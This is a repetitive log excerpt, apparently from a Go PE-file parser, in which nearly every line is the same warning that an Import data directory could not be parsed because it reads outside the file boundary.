+time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 